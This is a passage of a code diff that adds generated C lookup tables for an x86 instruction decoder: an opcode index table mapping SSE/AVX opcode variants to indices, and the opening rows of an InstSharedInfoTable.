+ /* 13d2 - */ 0,
+ /* 13d3 - */ 0,
+ /* 13d4 - */ 0,
+ /* 13d5 - _66_0F_38_DE */ 0x24bd,
+ /* 13d6 - */ 0,
+ /* 13d7 - */ 0,
+ /* 13d8 - */ 0,
+ /* 13d9 - _V_66_0F_38_DE */ 0x4134,
+ /* 13da - */ 0,
+ /* 13db - */ 0,
+ /* 13dc - */ 0,
+ /* 13dd - */ 0,
+ /* 13de - */ 0,
+ /* 13df - */ 0,
+ /* 13e0 - */ 0,
+ /* 13e1 - _66_0F_38_DF */ 0x24be,
+ /* 13e2 - */ 0,
+ /* 13e3 - */ 0,
+ /* 13e4 - */ 0,
+ /* 13e5 - _V_66_0F_38_DF */ 0x4135,
+ /* 13e6 - */ 0,
+ /* 13e7 - */ 0,
+ /* 13e8 - */ 0,
+ /* 13e9 - */ 0,
+ /* 13ea - */ 0,
+ /* 13eb - */ 0,
+ /* 13ec - _0F_38_F0 */ 0x24bf,
+ /* 13ed - */ 0,
+ /* 13ee - */ 0,
+ /* 13ef - _F2_0F_38_F0 */ 0x24c0,
+ /* 13f0 - */ 0,
+ /* 13f1 - */ 0,
+ /* 13f2 - */ 0,
+ /* 13f3 - */ 0,
+ /* 13f4 - */ 0,
+ /* 13f5 - */ 0,
+ /* 13f6 - */ 0,
+ /* 13f7 - */ 0,
+ /* 13f8 - _0F_38_F1 */ 0x24c1,
+ /* 13f9 - */ 0,
+ /* 13fa - */ 0,
+ /* 13fb - _F2_0F_38_F1 */ 0x24c2,
+ /* 13fc - */ 0,
+ /* 13fd - */ 0,
+ /* 13fe - */ 0,
+ /* 13ff - */ 0,
+ /* 1400 - */ 0,
+ /* 1401 - */ 0,
+ /* 1402 - */ 0,
+ /* 1403 - */ 0,
+ /* 1404 - */ 0,
+ /* 1405 - */ 0,
+ /* 1406 - */ 0,
+ /* 1407 - */ 0,
+ /* 1408 - */ 0,
+ /* 1409 - _V_66_0F_3A_04 */ 0x4136,
+ /* 140a - */ 0,
+ /* 140b - */ 0,
+ /* 140c - */ 0,
+ /* 140d - */ 0,
+ /* 140e - */ 0,
+ /* 140f - */ 0,
+ /* 1410 - */ 0,
+ /* 1411 - */ 0,
+ /* 1412 - */ 0,
+ /* 1413 - */ 0,
+ /* 1414 - */ 0,
+ /* 1415 - _V_66_0F_3A_05 */ 0x4137,
+ /* 1416 - */ 0,
+ /* 1417 - */ 0,
+ /* 1418 - */ 0,
+ /* 1419 - */ 0,
+ /* 141a - */ 0,
+ /* 141b - */ 0,
+ /* 141c - */ 0,
+ /* 141d - */ 0,
+ /* 141e - */ 0,
+ /* 141f - */ 0,
+ /* 1420 - */ 0,
+ /* 1421 - _V_66_0F_3A_06 */ 0x4138,
+ /* 1422 - */ 0,
+ /* 1423 - */ 0,
+ /* 1424 - */ 0,
+ /* 1425 - */ 0,
+ /* 1426 - */ 0,
+ /* 1427 - */ 0,
+ /* 1428 - */ 0,
+ /* 1429 - _66_0F_3A_08 */ 0x4139,
+ /* 142a - */ 0,
+ /* 142b - */ 0,
+ /* 142c - */ 0,
+ /* 142d - _V_66_0F_3A_08 */ 0x413a,
+ /* 142e - */ 0,
+ /* 142f - */ 0,
+ /* 1430 - */ 0,
+ /* 1431 - */ 0,
+ /* 1432 - */ 0,
+ /* 1433 - */ 0,
+ /* 1434 - */ 0,
+ /* 1435 - _66_0F_3A_09 */ 0x413b,
+ /* 1436 - */ 0,
+ /* 1437 - */ 0,
+ /* 1438 - */ 0,
+ /* 1439 - _V_66_0F_3A_09 */ 0x413c,
+ /* 143a - */ 0,
+ /* 143b - */ 0,
+ /* 143c - */ 0,
+ /* 143d - */ 0,
+ /* 143e - */ 0,
+ /* 143f - */ 0,
+ /* 1440 - */ 0,
+ /* 1441 - _66_0F_3A_0A */ 0x413d,
+ /* 1442 - */ 0,
+ /* 1443 - */ 0,
+ /* 1444 - */ 0,
+ /* 1445 - _V_66_0F_3A_0A */ 0x413e,
+ /* 1446 - */ 0,
+ /* 1447 - */ 0,
+ /* 1448 - */ 0,
+ /* 1449 - */ 0,
+ /* 144a - */ 0,
+ /* 144b - */ 0,
+ /* 144c - */ 0,
+ /* 144d - _66_0F_3A_0B */ 0x413f,
+ /* 144e - */ 0,
+ /* 144f - */ 0,
+ /* 1450 - */ 0,
+ /* 1451 - _V_66_0F_3A_0B */ 0x4140,
+ /* 1452 - */ 0,
+ /* 1453 - */ 0,
+ /* 1454 - */ 0,
+ /* 1455 - */ 0,
+ /* 1456 - */ 0,
+ /* 1457 - */ 0,
+ /* 1458 - */ 0,
+ /* 1459 - _66_0F_3A_0C */ 0x4141,
+ /* 145a - */ 0,
+ /* 145b - */ 0,
+ /* 145c - */ 0,
+ /* 145d - _V_66_0F_3A_0C */ 0x4142,
+ /* 145e - */ 0,
+ /* 145f - */ 0,
+ /* 1460 - */ 0,
+ /* 1461 - */ 0,
+ /* 1462 - */ 0,
+ /* 1463 - */ 0,
+ /* 1464 - */ 0,
+ /* 1465 - _66_0F_3A_0D */ 0x4143,
+ /* 1466 - */ 0,
+ /* 1467 - */ 0,
+ /* 1468 - */ 0,
+ /* 1469 - _V_66_0F_3A_0D */ 0x4144,
+ /* 146a - */ 0,
+ /* 146b - */ 0,
+ /* 146c - */ 0,
+ /* 146d - */ 0,
+ /* 146e - */ 0,
+ /* 146f - */ 0,
+ /* 1470 - */ 0,
+ /* 1471 - _66_0F_3A_0E */ 0x4145,
+ /* 1472 - */ 0,
+ /* 1473 - */ 0,
+ /* 1474 - */ 0,
+ /* 1475 - _V_66_0F_3A_0E */ 0x4146,
+ /* 1476 - */ 0,
+ /* 1477 - */ 0,
+ /* 1478 - */ 0,
+ /* 1479 - */ 0,
+ /* 147a - */ 0,
+ /* 147b - */ 0,
+ /* 147c - _0F_3A_0F */ 0x4147,
+ /* 147d - _66_0F_3A_0F */ 0x4148,
+ /* 147e - */ 0,
+ /* 147f - */ 0,
+ /* 1480 - */ 0,
+ /* 1481 - _V_66_0F_3A_0F */ 0x4149,
+ /* 1482 - */ 0,
+ /* 1483 - */ 0,
+ /* 1484 - */ 0,
+ /* 1485 - */ 0,
+ /* 1486 - */ 0,
+ /* 1487 - */ 0,
+ /* 1488 - */ 0,
+ /* 1489 - _66_0F_3A_14 */ 0x414a,
+ /* 148a - */ 0,
+ /* 148b - */ 0,
+ /* 148c - */ 0,
+ /* 148d - _V_66_0F_3A_14 */ 0x414b,
+ /* 148e - */ 0,
+ /* 148f - */ 0,
+ /* 1490 - */ 0,
+ /* 1491 - */ 0,
+ /* 1492 - */ 0,
+ /* 1493 - */ 0,
+ /* 1494 - */ 0,
+ /* 1495 - _66_0F_3A_15 */ 0x414c,
+ /* 1496 - */ 0,
+ /* 1497 - */ 0,
+ /* 1498 - */ 0,
+ /* 1499 - _V_66_0F_3A_15 */ 0x414d,
+ /* 149a - */ 0,
+ /* 149b - */ 0,
+ /* 149c - */ 0,
+ /* 149d - */ 0,
+ /* 149e - */ 0,
+ /* 149f - */ 0,
+ /* 14a0 - */ 0,
+ /* 14a1 - _66_0F_3A_16 */ 0x414e,
+ /* 14a2 - */ 0,
+ /* 14a3 - */ 0,
+ /* 14a4 - */ 0,
+ /* 14a5 - _V_66_0F_3A_16 */ 0x414f,
+ /* 14a6 - */ 0,
+ /* 14a7 - */ 0,
+ /* 14a8 - */ 0,
+ /* 14a9 - */ 0,
+ /* 14aa - */ 0,
+ /* 14ab - */ 0,
+ /* 14ac - */ 0,
+ /* 14ad - _66_0F_3A_17 */ 0x4150,
+ /* 14ae - */ 0,
+ /* 14af - */ 0,
+ /* 14b0 - */ 0,
+ /* 14b1 - _V_66_0F_3A_17 */ 0x4151,
+ /* 14b2 - */ 0,
+ /* 14b3 - */ 0,
+ /* 14b4 - */ 0,
+ /* 14b5 - */ 0,
+ /* 14b6 - */ 0,
+ /* 14b7 - */ 0,
+ /* 14b8 - */ 0,
+ /* 14b9 - */ 0,
+ /* 14ba - */ 0,
+ /* 14bb - */ 0,
+ /* 14bc - */ 0,
+ /* 14bd - _V_66_0F_3A_18 */ 0x4152,
+ /* 14be - */ 0,
+ /* 14bf - */ 0,
+ /* 14c0 - */ 0,
+ /* 14c1 - */ 0,
+ /* 14c2 - */ 0,
+ /* 14c3 - */ 0,
+ /* 14c4 - */ 0,
+ /* 14c5 - */ 0,
+ /* 14c6 - */ 0,
+ /* 14c7 - */ 0,
+ /* 14c8 - */ 0,
+ /* 14c9 - _V_66_0F_3A_19 */ 0x4153,
+ /* 14ca - */ 0,
+ /* 14cb - */ 0,
+ /* 14cc - */ 0,
+ /* 14cd - */ 0,
+ /* 14ce - */ 0,
+ /* 14cf - */ 0,
+ /* 14d0 - */ 0,
+ /* 14d1 - _66_0F_3A_20 */ 0x4154,
+ /* 14d2 - */ 0,
+ /* 14d3 - */ 0,
+ /* 14d4 - */ 0,
+ /* 14d5 - _V_66_0F_3A_20 */ 0x4155,
+ /* 14d6 - */ 0,
+ /* 14d7 - */ 0,
+ /* 14d8 - */ 0,
+ /* 14d9 - */ 0,
+ /* 14da - */ 0,
+ /* 14db - */ 0,
+ /* 14dc - */ 0,
+ /* 14dd - _66_0F_3A_21 */ 0x4156,
+ /* 14de - */ 0,
+ /* 14df - */ 0,
+ /* 14e0 - */ 0,
+ /* 14e1 - _V_66_0F_3A_21 */ 0x4157,
+ /* 14e2 - */ 0,
+ /* 14e3 - */ 0,
+ /* 14e4 - */ 0,
+ /* 14e5 - */ 0,
+ /* 14e6 - */ 0,
+ /* 14e7 - */ 0,
+ /* 14e8 - */ 0,
+ /* 14e9 - _66_0F_3A_22 */ 0x4158,
+ /* 14ea - */ 0,
+ /* 14eb - */ 0,
+ /* 14ec - */ 0,
+ /* 14ed - _V_66_0F_3A_22 */ 0x4159,
+ /* 14ee - */ 0,
+ /* 14ef - */ 0,
+ /* 14f0 - */ 0,
+ /* 14f1 - */ 0,
+ /* 14f2 - */ 0,
+ /* 14f3 - */ 0,
+ /* 14f4 - */ 0,
+ /* 14f5 - _66_0F_3A_40 */ 0x415a,
+ /* 14f6 - */ 0,
+ /* 14f7 - */ 0,
+ /* 14f8 - */ 0,
+ /* 14f9 - _V_66_0F_3A_40 */ 0x415b,
+ /* 14fa - */ 0,
+ /* 14fb - */ 0,
+ /* 14fc - */ 0,
+ /* 14fd - */ 0,
+ /* 14fe - */ 0,
+ /* 14ff - */ 0,
+ /* 1500 - */ 0,
+ /* 1501 - _66_0F_3A_41 */ 0x415c,
+ /* 1502 - */ 0,
+ /* 1503 - */ 0,
+ /* 1504 - */ 0,
+ /* 1505 - _V_66_0F_3A_41 */ 0x415d,
+ /* 1506 - */ 0,
+ /* 1507 - */ 0,
+ /* 1508 - */ 0,
+ /* 1509 - */ 0,
+ /* 150a - */ 0,
+ /* 150b - */ 0,
+ /* 150c - */ 0,
+ /* 150d - _66_0F_3A_42 */ 0x415e,
+ /* 150e - */ 0,
+ /* 150f - */ 0,
+ /* 1510 - */ 0,
+ /* 1511 - _V_66_0F_3A_42 */ 0x415f,
+ /* 1512 - */ 0,
+ /* 1513 - */ 0,
+ /* 1514 - */ 0,
+ /* 1515 - */ 0,
+ /* 1516 - */ 0,
+ /* 1517 - */ 0,
+ /* 1518 - */ 0,
+ /* 1519 - _66_0F_3A_44 */ 0x4160,
+ /* 151a - */ 0,
+ /* 151b - */ 0,
+ /* 151c - */ 0,
+ /* 151d - _V_66_0F_3A_44 */ 0x4161,
+ /* 151e - */ 0,
+ /* 151f - */ 0,
+ /* 1520 - */ 0,
+ /* 1521 - */ 0,
+ /* 1522 - */ 0,
+ /* 1523 - */ 0,
+ /* 1524 - */ 0,
+ /* 1525 - */ 0,
+ /* 1526 - */ 0,
+ /* 1527 - */ 0,
+ /* 1528 - */ 0,
+ /* 1529 - _V_66_0F_3A_4A */ 0x4162,
+ /* 152a - */ 0,
+ /* 152b - */ 0,
+ /* 152c - */ 0,
+ /* 152d - */ 0,
+ /* 152e - */ 0,
+ /* 152f - */ 0,
+ /* 1530 - */ 0,
+ /* 1531 - */ 0,
+ /* 1532 - */ 0,
+ /* 1533 - */ 0,
+ /* 1534 - */ 0,
+ /* 1535 - _V_66_0F_3A_4B */ 0x4163,
+ /* 1536 - */ 0,
+ /* 1537 - */ 0,
+ /* 1538 - */ 0,
+ /* 1539 - */ 0,
+ /* 153a - */ 0,
+ /* 153b - */ 0,
+ /* 153c - */ 0,
+ /* 153d - */ 0,
+ /* 153e - */ 0,
+ /* 153f - */ 0,
+ /* 1540 - */ 0,
+ /* 1541 - _V_66_0F_3A_4C */ 0x4164,
+ /* 1542 - */ 0,
+ /* 1543 - */ 0,
+ /* 1544 - */ 0,
+ /* 1545 - */ 0,
+ /* 1546 - */ 0,
+ /* 1547 - */ 0,
+ /* 1548 - */ 0,
+ /* 1549 - _66_0F_3A_60 */ 0x4165,
+ /* 154a - */ 0,
+ /* 154b - */ 0,
+ /* 154c - */ 0,
+ /* 154d - _V_66_0F_3A_60 */ 0x4166,
+ /* 154e - */ 0,
+ /* 154f - */ 0,
+ /* 1550 - */ 0,
+ /* 1551 - */ 0,
+ /* 1552 - */ 0,
+ /* 1553 - */ 0,
+ /* 1554 - */ 0,
+ /* 1555 - _66_0F_3A_61 */ 0x4167,
+ /* 1556 - */ 0,
+ /* 1557 - */ 0,
+ /* 1558 - */ 0,
+ /* 1559 - _V_66_0F_3A_61 */ 0x4168,
+ /* 155a - */ 0,
+ /* 155b - */ 0,
+ /* 155c - */ 0,
+ /* 155d - */ 0,
+ /* 155e - */ 0,
+ /* 155f - */ 0,
+ /* 1560 - */ 0,
+ /* 1561 - _66_0F_3A_62 */ 0x4169,
+ /* 1562 - */ 0,
+ /* 1563 - */ 0,
+ /* 1564 - */ 0,
+ /* 1565 - _V_66_0F_3A_62 */ 0x416a,
+ /* 1566 - */ 0,
+ /* 1567 - */ 0,
+ /* 1568 - */ 0,
+ /* 1569 - */ 0,
+ /* 156a - */ 0,
+ /* 156b - */ 0,
+ /* 156c - */ 0,
+ /* 156d - _66_0F_3A_63 */ 0x416b,
+ /* 156e - */ 0,
+ /* 156f - */ 0,
+ /* 1570 - */ 0,
+ /* 1571 - _V_66_0F_3A_63 */ 0x416c,
+ /* 1572 - */ 0,
+ /* 1573 - */ 0,
+ /* 1574 - */ 0,
+ /* 1575 - */ 0,
+ /* 1576 - */ 0,
+ /* 1577 - */ 0,
+ /* 1578 - */ 0,
+ /* 1579 - _66_0F_3A_DF */ 0x416d,
+ /* 157a - */ 0,
+ /* 157b - */ 0,
+ /* 157c - */ 0,
+ /* 157d - _V_66_0F_3A_DF */ 0x416e,
+ /* 157e - */ 0,
+ /* 157f - */ 0,
+ /* 1580 - */ 0,
+ /* 1581 - */ 0,
+ /* 1582 - */ 0,
+ /* 1583 - */ 0,
+ /* 1584 - _0F_71_02 */ 0x24c3,
+ /* 1585 - _66_0F_71_02 */ 0x24c4,
+ /* 1586 - */ 0,
+ /* 1587 - */ 0,
+ /* 1588 - */ 0,
+ /* 1589 - _V_66_0F_71_02 */ 0x416f,
+ /* 158a - */ 0,
+ /* 158b - */ 0,
+ /* 158c - */ 0,
+ /* 158d - */ 0,
+ /* 158e - */ 0,
+ /* 158f - */ 0,
+ /* 1590 - _0F_71_04 */ 0x24c5,
+ /* 1591 - _66_0F_71_04 */ 0x24c6,
+ /* 1592 - */ 0,
+ /* 1593 - */ 0,
+ /* 1594 - */ 0,
+ /* 1595 - _V_66_0F_71_04 */ 0x4170,
+ /* 1596 - */ 0,
+ /* 1597 - */ 0,
+ /* 1598 - */ 0,
+ /* 1599 - */ 0,
+ /* 159a - */ 0,
+ /* 159b - */ 0,
+ /* 159c - _0F_71_06 */ 0x24c7,
+ /* 159d - _66_0F_71_06 */ 0x24c8,
+ /* 159e - */ 0,
+ /* 159f - */ 0,
+ /* 15a0 - */ 0,
+ /* 15a1 - _V_66_0F_71_06 */ 0x4171,
+ /* 15a2 - */ 0,
+ /* 15a3 - */ 0,
+ /* 15a4 - */ 0,
+ /* 15a5 - */ 0,
+ /* 15a6 - */ 0,
+ /* 15a7 - */ 0,
+ /* 15a8 - _0F_72_02 */ 0x24c9,
+ /* 15a9 - _66_0F_72_02 */ 0x24ca,
+ /* 15aa - */ 0,
+ /* 15ab - */ 0,
+ /* 15ac - */ 0,
+ /* 15ad - _V_66_0F_72_02 */ 0x4172,
+ /* 15ae - */ 0,
+ /* 15af - */ 0,
+ /* 15b0 - */ 0,
+ /* 15b1 - */ 0,
+ /* 15b2 - */ 0,
+ /* 15b3 - */ 0,
+ /* 15b4 - _0F_72_04 */ 0x24cb,
+ /* 15b5 - _66_0F_72_04 */ 0x24cc,
+ /* 15b6 - */ 0,
+ /* 15b7 - */ 0,
+ /* 15b8 - */ 0,
+ /* 15b9 - _V_66_0F_72_04 */ 0x4173,
+ /* 15ba - */ 0,
+ /* 15bb - */ 0,
+ /* 15bc - */ 0,
+ /* 15bd - */ 0,
+ /* 15be - */ 0,
+ /* 15bf - */ 0,
+ /* 15c0 - _0F_72_06 */ 0x24cd,
+ /* 15c1 - _66_0F_72_06 */ 0x24ce,
+ /* 15c2 - */ 0,
+ /* 15c3 - */ 0,
+ /* 15c4 - */ 0,
+ /* 15c5 - _V_66_0F_72_06 */ 0x4174,
+ /* 15c6 - */ 0,
+ /* 15c7 - */ 0,
+ /* 15c8 - */ 0,
+ /* 15c9 - */ 0,
+ /* 15ca - */ 0,
+ /* 15cb - */ 0,
+ /* 15cc - _0F_73_02 */ 0x24cf,
+ /* 15cd - _66_0F_73_02 */ 0x24d0,
+ /* 15ce - */ 0,
+ /* 15cf - */ 0,
+ /* 15d0 - */ 0,
+ /* 15d1 - _V_66_0F_73_02 */ 0x4175,
+ /* 15d2 - */ 0,
+ /* 15d3 - */ 0,
+ /* 15d4 - */ 0,
+ /* 15d5 - */ 0,
+ /* 15d6 - */ 0,
+ /* 15d7 - */ 0,
+ /* 15d8 - */ 0,
+ /* 15d9 - _66_0F_73_03 */ 0x24d1,
+ /* 15da - */ 0,
+ /* 15db - */ 0,
+ /* 15dc - */ 0,
+ /* 15dd - _V_66_0F_73_03 */ 0x4176,
+ /* 15de - */ 0,
+ /* 15df - */ 0,
+ /* 15e0 - */ 0,
+ /* 15e1 - */ 0,
+ /* 15e2 - */ 0,
+ /* 15e3 - */ 0,
+ /* 15e4 - _0F_73_06 */ 0x24d2,
+ /* 15e5 - _66_0F_73_06 */ 0x24d3,
+ /* 15e6 - */ 0,
+ /* 15e7 - */ 0,
+ /* 15e8 - */ 0,
+ /* 15e9 - _V_66_0F_73_06 */ 0x4177,
+ /* 15ea - */ 0,
+ /* 15eb - */ 0,
+ /* 15ec - */ 0,
+ /* 15ed - */ 0,
+ /* 15ee - */ 0,
+ /* 15ef - */ 0,
+ /* 15f0 - */ 0,
+ /* 15f1 - _66_0F_73_07 */ 0x24d4,
+ /* 15f2 - */ 0,
+ /* 15f3 - */ 0,
+ /* 15f4 - */ 0,
+ /* 15f5 - _V_66_0F_73_07 */ 0x4178,
+ /* 15f6 - */ 0,
+ /* 15f7 - */ 0,
+ /* 15f8 - */ 0,
+ /* 15f9 - */ 0,
+ /* 15fa - */ 0,
+ /* 15fb - */ 0,
+ /* 15fc - _0F_AE_00 */ 0x4179,
+ /* 15fd - */ 0,
+ /* 15fe - _F3_0F_AE_00 */ 0x24d5,
+ /* 15ff - */ 0,
+ /* 1600 - */ 0,
+ /* 1601 - */ 0,
+ /* 1602 - */ 0,
+ /* 1603 - */ 0,
+ /* 1604 - */ 0,
+ /* 1605 - */ 0,
+ /* 1606 - */ 0,
+ /* 1607 - */ 0,
+ /* 1608 - _0F_AE_01 */ 0x417a,
+ /* 1609 - */ 0,
+ /* 160a - _F3_0F_AE_01 */ 0x24d6,
+ /* 160b - */ 0,
+ /* 160c - */ 0,
+ /* 160d - */ 0,
+ /* 160e - */ 0,
+ /* 160f - */ 0,
+ /* 1610 - */ 0,
+ /* 1611 - */ 0,
+ /* 1612 - */ 0,
+ /* 1613 - */ 0,
+ /* 1614 - _0F_AE_02 */ 0x24d7,
+ /* 1615 - */ 0,
+ /* 1616 - _F3_0F_AE_02 */ 0x24d8,
+ /* 1617 - */ 0,
+ /* 1618 - _V_0F_AE_02 */ 0x417b,
+ /* 1619 - */ 0,
+ /* 161a - */ 0,
+ /* 161b - */ 0,
+ /* 161c - */ 0,
+ /* 161d - */ 0,
+ /* 161e - */ 0,
+ /* 161f - */ 0,
+ /* 1620 - _0F_AE_03 */ 0x24d9,
+ /* 1621 - */ 0,
+ /* 1622 - _F3_0F_AE_03 */ 0x24da,
+ /* 1623 - */ 0,
+ /* 1624 - _V_0F_AE_03 */ 0x417c,
+ /* 1625 - */ 0,
+ /* 1626 - */ 0,
+ /* 1627 - */ 0,
+ /* 1628 - */ 0,
+ /* 1629 - */ 0,
+ /* 162a - */ 0,
+ /* 162b - */ 0,
+ /* 162c - _0F_C7_06 */ 0x24db,
+ /* 162d - _66_0F_C7_06 */ 0x24dc,
+ /* 162e - _F3_0F_C7_06 */ 0x24dd,
+ /* 162f - */ 0,
+ /* 1630 - */ 0,
+ /* 1631 - */ 0,
+ /* 1632 - */ 0,
+ /* 1633 - */ 0,
+ /* 1634 - */ 0,
+ /* 1635 - */ 0,
+ /* 1636 - */ 0,
+ /* 1637 - */ 0
+};
+
+_InstSharedInfo InstSharedInfoTable[470] = {
+ { 0, 9, 15, 8, 245, 0, 0 },
+ { 0, 11, 17, 8, 245, 0, 0 },
+ { 0, 15, 9, 8, 245, 0, 0 },
+ { 0, 17, 11, 8, 245, 0, 0 },
+ { 1, 1, 33, 8, 245, 0, 0 },
+ { 1, 3, 35, 8, 245, 0, 0 },
+ { 2, 0, 32, 8, 0, 0, 0 },
+ { 3, 0, 32, 8, 0, 0, 0 },
+ { 0, 9, 15, 8, 196, 16, 0 },
+ { 0, 11, 17, 8, 196, 16, 0 },
+ { 0, 15, 9, 8, 196, 16, 0 },
+ { 0, 17, 11, 8, 196, 16, 0 },
+ { 1, 1, 33, 8, 196, 16, 0 },
+ { 1, 3, 35, 8, 196, 16, 0 },
+ { 4, 0, 32, 8, 0, 0, 0 },
+ { 0, 9, 15, 8, 245, 1, 0 },
+ { 0, 11, 17, 8, 245, 1, 0 },
+ { 0, 15, 9, 8, 245, 1, 0 },
+ { 0, 17, 11, 8, 245, 1, 0 },
+ { 1, 1, 33, 8, 245, 1, 0 },
+ { 1, 3, 35, 8, 245, 1, 0 },
+ { 5, 0, 32, 8, 0, 0, 0 },
+ { 6, 0, 32, 8, 0, 0, 0 },
+ { 7, 0, 32, 8, 0, 0, 0 },
+ { 8, 0, 32, 8, 0, 0, 0 },
+ { 0, 9, 15, 8, 229, 0, 16 },
+ { 0, 11, 17, 8, 229, 0, 16 },
+ { 0, 15, 9, 8, 229, 0, 16 },
+ { 0, 17, 11, 8, 229, 0, 16 },
+ { 1, 1, 33, 8, 229, 0, 16 },
+ { 1, 3, 35, 8, 229, 0, 16 },
+ { 9, 0, 0, 8, 213, 17, 32 },
+ { 0, 9, 15, 8, 196, 0, 16 },
+ { 0, 11, 17, 8, 196, 0, 16 },
+ { 0, 15, 9, 8, 196, 0, 16 },
+ { 0, 17, 11, 8, 196, 0, 16 },
+ { 1, 1, 33, 8, 196, 0, 16 },
+ { 1, 3, 35, 8, 196, 0, 16 },
+ { 9, 0, 0, 8, 17, 16, 228 },
+ { 10, 9, 15, 8, 245, 0, 0 },
+ { 10, 11, 17, 8, 245, 0, 0 },
+ { 10, 15, 9, 8, 245, 0, 0 },
+ { 10, 17, 11, 8, 245, 0, 0 },
+ { 11, 1, 33, 8, 245, 0, 0 },
+ { 11, 3, 35, 8, 245, 0, 0 },
+ { 12, 0, 54, 8, 244, 0, 0 },
+ { 13, 0, 54, 8, 0, 0, 0 },
+ { 14, 0, 54, 8, 0, 0, 0 },
+ { 15, 0, 0, 8, 0, 0, 0 },
+ { 16, 42, 11, 8, 0, 0, 0 },
+ { 10, 10, 16, 8, 64, 0, 0 },
+ { 13, 0, 3, 8, 0, 0, 0 },
+ { 17, 17, 11, 8, 33, 0, 212 },
+ { 18, 0, 5, 8, 0, 0, 0 },
+ { 19, 59, 56, 8, 0, 8, 0 },
+ { 20, 59, 56, 8, 0, 8, 0 },
+ { 19, 55, 59, 8, 0, 8, 0 },
+ { 20, 55, 59, 8, 0, 8, 0 },
+ { 13, 0, 40, 13, 0, 32, 0 },
+ { 13, 0, 40, 13, 0, 1, 0 },
+ { 13, 0, 40, 13, 0, 64, 0 },
+ { 13, 0, 40, 13, 0, 65, 0 },
+ { 13, 0, 40, 13, 0, 128, 0 },
+ { 13, 0, 40, 13, 0, 4, 0 },
+ { 13, 0, 40, 13, 0, 160, 0 },
+ { 13, 0, 40, 13, 0, 224, 0 },
+ { 10, 9, 15, 8, 196, 0, 16 },
+ { 10, 11, 17, 8, 196, 0, 16 },
+ { 0, 9, 15, 8, 0, 0, 0 },
+ { 0, 11, 17, 8, 0, 0, 0 },
+ { 21, 9, 15, 8, 0, 0, 0 },
+ { 21, 11, 17, 8, 0, 0, 0 },
+ { 21, 15, 9, 8, 0, 0, 0 },
+ { 21, 17, 11, 8, 0, 0, 0 },
+ { 21, 31, 28, 8, 0, 0, 0 },
+ { 21, 42, 11, 8, 0, 0, 0 },
+ { 21, 28, 31, 8, 0, 0, 0 },
+ { 1, 35, 54, 8, 0, 0, 0 },
+ { 22, 0, 0, 8, 0, 0, 0 },
+ { 9, 0, 38, 9, 0, 0, 0 },
+ { 23, 0, 0, 8, 0, 0, 0 },
+ { 23, 0, 0, 8, 255, 0, 0 },
+ { 11, 0, 0, 8, 213, 0, 0 },
+ { 11, 0, 0, 8, 0, 0, 0 },
+ { 1, 49, 33, 8, 0, 0, 0 },
+ { 1, 50, 35, 8, 0, 0, 0 },
+ { 1, 33, 49, 8, 0, 0, 0 },
+ { 1, 35, 50, 8, 0, 0, 0 },
+ { 24, 55, 56, 8, 0, 8, 0 },
+ { 25, 55, 56, 8, 0, 8, 0 },
+ { 19, 56, 55, 8, 245, 8, 0 },
+ { 26, 56, 55, 8, 245, 8, 0 },
+ { 11, 1, 33, 8, 196, 0, 16 },
+ { 11, 3, 35, 8, 196, 0, 16 },
+ { 19, 33, 56, 8, 0, 8, 0 },
+ { 26, 35, 56, 8, 0, 8, 0 },
+ { 19, 55, 33, 8, 0, 8, 0 },
+ { 26, 55, 35, 8, 0, 8, 0 },
+ { 19, 33, 56, 8, 245, 8, 0 },
+ { 26, 35, 56, 8, 245, 8, 0 },
+ { 1, 1, 53, 8, 0, 0, 0 },
+ { 27, 3, 54, 8, 0, 0, 0 },
+ { 13, 0, 2, 10, 0, 0, 0 },
+ { 13, 0, 0, 10, 0, 0, 0 },
+ { 16, 37, 11, 8, 0, 0, 0 },
+ { 13, 8, 6, 8, 0, 0, 0 },
+ { 13, 0, 0, 8, 0, 0, 0 },
+ { 28, 0, 2, 10, 0, 0, 0 },
+ { 28, 0, 0, 10, 0, 0, 0 },
+ { 11, 0, 0, 14, 0, 0, 0 },
+ { 11, 0, 1, 14, 0, 0, 0 },
+ { 9, 0, 0, 14, 0, 0, 0 },
+ { 28, 0, 0, 10, 255, 0, 0 },
+ { 9, 0, 1, 8, 196, 0, 49 },
+ { 9, 0, 0, 8, 0, 0, 0 },
+ { 29, 0, 57, 8, 0, 0, 0 },
+ { 30, 0, 40, 13, 0, 64, 0 },
+ { 30, 0, 40, 13, 0, 0, 0 },
+ { 31, 0, 40, 13, 0, 0, 0 },
+ { 1, 1, 33, 8, 0, 0, 0 },
+ { 1, 1, 36, 8, 0, 0, 0 },
+ { 11, 33, 1, 8, 0, 0, 0 },
+ { 11, 36, 1, 8, 0, 0, 0 },
+ { 13, 0, 41, 9, 0, 0, 0 },
+ { 13, 0, 41, 12, 0, 0, 0 },
+ { 9, 0, 38, 12, 0, 0, 0 },
+ { 13, 0, 40, 12, 0, 0, 0 },
+ { 1, 59, 33, 8, 0, 0, 0 },
+ { 1, 59, 36, 8, 0, 0, 0 },
+ { 11, 33, 59, 8, 0, 0, 0 },
+ { 11, 36, 59, 8, 0, 0, 0 },
+ { 11, 0, 0, 8, 1, 0, 0 },
+ { 11, 0, 0, 8, 2, 0, 0 },
+ { 11, 0, 0, 8, 8, 0, 0 },
+ { 10, 16, 11, 8, 64, 0, 0 },
+ { 32, 0, 0, 27, 0, 0, 0 },
+ { 32, 0, 0, 8, 0, 0, 0 },
+ { 32, 0, 0, 14, 0, 0, 0 },
+ { 11, 0, 0, 96, 0, 0, 0 },
+ { 10, 0, 17, 8, 0, 0, 0 },
+ { 33, 29, 14, 8, 0, 0, 0 },
+ { 33, 30, 14, 8, 0, 0, 0 },
+ { 33, 14, 29, 8, 0, 0, 0 },
+ { 33, 14, 30, 8, 0, 0, 0 },
+ { 34, 0, 0, 8, 0, 0, 0 },
+ { 35, 17, 11, 31, 0, 32, 0 },
+ { 35, 17, 11, 31, 0, 1, 0 },
+ { 35, 17, 11, 31, 0, 64, 0 },
+ { 35, 17, 11, 31, 0, 65, 0 },
+ { 35, 17, 11, 31, 0, 128, 0 },
+ { 35, 17, 11, 31, 0, 4, 0 },
+ { 35, 17, 11, 31, 0, 160, 0 },
+ { 35, 17, 11, 31, 0, 224, 0 },
+ { 32, 0, 41, 13, 0, 32, 0 },
+ { 32, 0, 41, 13, 0, 1, 0 },
+ { 32, 0, 41, 13, 0, 64, 0 },
+ { 32, 0, 41, 13, 0, 65, 0 },
+ { 32, 0, 41, 13, 0, 128, 0 },
+ { 32, 0, 41, 13, 0, 4, 0 },
+ { 32, 0, 41, 13, 0, 160, 0 },
+ { 32, 0, 41, 13, 0, 224, 0 },
+ { 35, 0, 15, 8, 0, 32, 0 },
